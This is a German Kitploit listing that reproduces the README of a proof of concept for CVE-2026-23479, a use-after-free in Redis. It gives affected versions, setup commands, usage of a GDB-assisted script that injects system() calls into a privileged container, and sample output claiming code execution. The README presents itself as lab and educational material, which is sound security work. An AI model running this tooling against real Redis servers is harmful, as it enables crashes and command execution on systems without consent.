Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-23479-Redis-UAF-Proof-of-Concept — Proof of Concept mit GDB-gestützter Exploitation (nur für Bildungs-/Laborzwecke) | Kitploit
Tools/GitHubGitHub/rizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept
SchwachstellenanalyseExploitationDebuggerLernen & BildungDatenbanksicherheitBinary-ExploitationLabs & Praxis
GitHubrizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept

CVE-2026-23479-Redis-UAF-Proof-of-Concept

Proof of Concept mit GDB-gestützter Exploitation (nur für Bildungs-/Laborzwecke)

Repository anzeigen
7vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

🔥 CVE-2026-23479 – Redis UAF Proof of Concept

License Python Docker CVE PoC

Use-After-Free in Redis unblockClientOnKey() führt zu Remote Code Execution
Proof of Concept mit GDB-unterstützter Ausnutzung (nur zu Bildungs-/Laborzwecken)


📖 Überblick

CVE-2026-23479 ist eine kritische Use-After-Free (UAF)-Schwachstelle in Redis-Versionen 7.2.0 bis 8.6.2.
Der Fehler liegt in der Funktion unblockClientOnKey(), die aufruft. Wenn der Client während dieses Aufrufs freigegeben wird (z. B. durch Eviction), arbeitet der Aufrufer weiterhin mit einem Dangling Pointer → . Ein Angreifer, der den Heap nach der Freigabe gezielt formen kann, könnte .

processCommandAndResetClient()
ohne Prüfung des Rückgabewerts

UAF

beliebigen Code ausführen

Dieses Repository bietet ein GDB-gestütztes PoC, das:

  • Den exakten verwundbaren Codepfad auslöst
  • Die UAF beweist, indem absichtlich ein Absturz ausgelöst wird (freeClient()-Aufruf)
  • Beliebige Befehlsausführung demonstriert, indem an derselben Stelle ein system()-Aufruf injiziert wird

⚠️ Wichtig: Dies ist kein einsatzfähiger Exploit. Er verwendet GDB in einem privilegierten Docker-Container, um zu simulieren, was ein echter Angreifer nach erfolgreicher Ausnutzung der UAF erreichen könnte.
Verwenden Sie es nur in Ihrem eigenen Labor oder auf Systemen, für die Sie eine ausdrückliche Testfreigabe haben.


✨ Funktionen

  • 🧪 Vier Betriebsmodi – crash, gdb, rce, full
  • 🐳 Docker-basiert – keine Notwendigkeit, ein verwundbares Redis auf dem Host zu installieren
  • 🔍 Automatische Versionserkennung – prüft, ob das Ziel im betroffenen Bereich liegt
  • 🧹 Selbstreinigend – beendet veraltete GDB-Sitzungen vor jedem Lauf
  • 🎯 Flexibler Containername – beliebigen Container über --container angeben
  • 📦 Einzelne Python-Datei – keine Abhängigkeiten außerhalb der Standardbibliothek

🧠 So funktioniert es

  1. Ein Opfer blockieren – Ein XREAD BLOCK-Befehl lässt den Client auf Stream-Daten warten.
  2. GDB anhängen – GDB hängt sich an den Redis-Prozess (pid 1) im Container an.
  3. Einen Breakpoint setzen auf processCommandAndResetClient – die Funktion, die aufgerufen wird, wenn der blockierte Client erneut verarbeitet wird.
  4. Entblocken auslösen – Ein XADD auf demselben Stream weckt das Opfer.
  5. Beim Erreichen des Breakpoints:
    • gdb-Modus: ruft freeClient($rdi) auf → verursacht absichtlich eine SIGSEGV → beweist die UAF.
    • rce-Modus: ruft system("your command") auf → führt beliebige Shell-Befehle als Redis-Benutzer aus (standardmäßig root).
  6. Verifizieren – das Skript prüft, ob die erwartete Beweisdatei existiert (RCE) oder ob Redis abgestürzt ist (UAF).

Der Breakpoint feuert jedes Mal, wenn ein blockierter Client entblockt wird, und zeigt, dass derselbe Codepfad, der die UAF enthält, auch Codeausführung ermöglicht.


📋 Betroffene Versionen

BranchVerwundbarer Bereich
7.27.2.0 – 7.2.13
7.47.4.0 – 7.4.8
8.28.2.0 – 8.2.5
8.48.4.0 – 8.4.2
8.68.6.0 – 8.6.2

Das Skript parst automatisch die Redis-Version und meldet, ob sie verwundbar ist.


🐳 Voraussetzungen

  • Docker installiert und in Betrieb
  • Python 3.8+ (nur Standardbibliothek verwendet)
  • Ein Redis-8.6.2-Docker-Image, das apt verwendet (z. B. das offizielle redis:8.6.2)
  • Der Container muss mit --privileged erstellt werden (erforderlich für ptrace)

⚙️ Einrichtung

1. Repository klonen

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. Einen verwundbaren Redis-Container starten

root@kitploit:~
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. GDB im Container installieren

root@kitploit:~
docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. Verifizieren

root@kitploit:~
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # should return PONG

🚀 Verwendung

root@kitploit:~
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

Modi

ModusBeschreibung
crashVersucht, die UAF über Speicherdruck auszulösen (kein GDB erforderlich). Redis kann abstürzen, dies ist jedoch nicht garantiert.
gdbGDB anhängen und freeClient() am Breakpoint aufrufen → erzwingt eine SIGSEGV (beweist die UAF).
rceGDB anhängen und system(cmd) am Breakpoint aufrufen → führt einen Shell-Befehl im Container aus.
fullZuerst crash ausführen; falls Redis nicht abstürzt, auf gdb zurückgreifen.

Optionen

ArgumentStandardBeschreibung
target(erforderlich)IP-Adresse des Redis-Servers
-p, --port6379Redis-Port
-m, --modefullEiner von crash, gdb, rce, full
--containerenv-redis-vuln-1Docker-Containername
--cmdid > /tmp/pwned_by_cveBefehl, der im rce-Modus ausgeführt werden soll

📚 Schritt-für-Schritt-Beispiele

Hinweis: Alle Befehle werden von der Host-Maschine ausgeführt, nicht im Docker-Container.

1. Die UAF per GDB nachweisen

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

Erwartete Ausgabe (Auszug)

root@kitploit:~
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

Redis wird nach dem Segmentation Fault abstürzen.

Container neu starten:

root@kitploit:~
docker start redis-vuln-local

2. Remote Code Execution (RCE) erreichen

Starten Sie Redis neu, um einen sauberen Zustand sicherzustellen:

root@kitploit:~
docker restart redis-vuln-local

Exploit ausführen:

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

Beweisdatei überprüfen:

root@kitploit:~
docker exec redis-vuln-local ls -l /tmp/pwned

Bei Erfolg existiert die Datei, was beweist, dass:

root@kitploit:~
system("touch /tmp/pwned");

im Redis-Container ausgeführt wurde.


3. Die UAF ohne GDB auslösen (Speicherdruck)

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

Wenn Redis unerwartet beendet wird (der Container läuft nicht mehr), wurde die UAF wahrscheinlich ausgelöst.

Starten Sie ihn neu mit:

root@kitploit:~
docker start redis-vuln-local

4. Den vollständigen Test ausführen

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

Dieser Modus:

  1. Versucht den Absturz durch Speicherdruck.
  2. Greift auf die GDB-gestützte Methode zurück, wenn Redis überlebt.

📸 Beispielausgabe (RCE-Modus)

root@kitploit:~
============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned

[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit

============================================================
  Results
============================================================
  Target:     127.0.0.1:6379
  Version:    8.6.2
  Vulnerable: YES
  RCE:        CONFIRMED (arbitrary command execution)
============================================================

🔧 Änderungen gegenüber dem Originalskript

Das ursprüngliche PoC war hartcodiert auf einen Container namens env-redis-vuln-1 und enthielt mehrere Probleme bei der Ausführung mit neueren Python-Versionen.

Die aktualisierte Version führt die folgenden Verbesserungen ein:

ProblemLösung
Fester ContainernameDas Argument --container hinzugefügt und durch alle Funktionen durchgereicht.
file-Befehl im commands-Block des GDB-Skripts platziertfile /usr/local/bin/redis-server vor attach verschoben, damit GDB Symbole korrekt lädt.
subprocess.run() mit sowohl capture_output=True als auch stderr=... verwendetErsetzt durch stdout=subprocess.DEVNULL und stderr=subprocess.DEVNULL.
Veraltete GDB-Prozesse, die ptrace: Operation not permitted verursachenpkill -9 gdb vor dem Start von GDB in sowohl trigger_uaf_gdb() als auch trigger_rce() hinzugefügt.
Keine Rückmeldung, wenn GDB stillschweigend fehlschlugDebug-Logging für die GDB-Ausgabe hinzugefügt und die Erkennung der Beweisdatei verbessert.

🧹 Aufräumen

root@kitploit:~
docker stop redis-vuln-local
docker rm redis-vuln-local

⚠️ Haftungsausschluss

Dieses Tool ist ausschließlich für Bildungszwecke, autorisierte Sicherheitsforschung und das Testen von Systemen bestimmt, die Ihnen gehören oder für die Sie eine ausdrückliche Berechtigung zur Prüfung haben.

Der Autor billigt keine unbefugte oder böswillige Nutzung und ermutigt auch nicht dazu.

Holen Sie stets eine ordnungsgemäße Genehmigung ein, bevor Sie Produktions- oder Drittsysteme testen.


📚 Referenzen

  • CVE-2026-23479 – NVD-Detailseite
  • Redis-Sicherheit
  • Redis-GitHub-Repository

Mit ❤️ für die Sicherheits-Community erstellt.

Bleiben Sie ethisch. Bleiben Sie sicher.

Tool herunterladen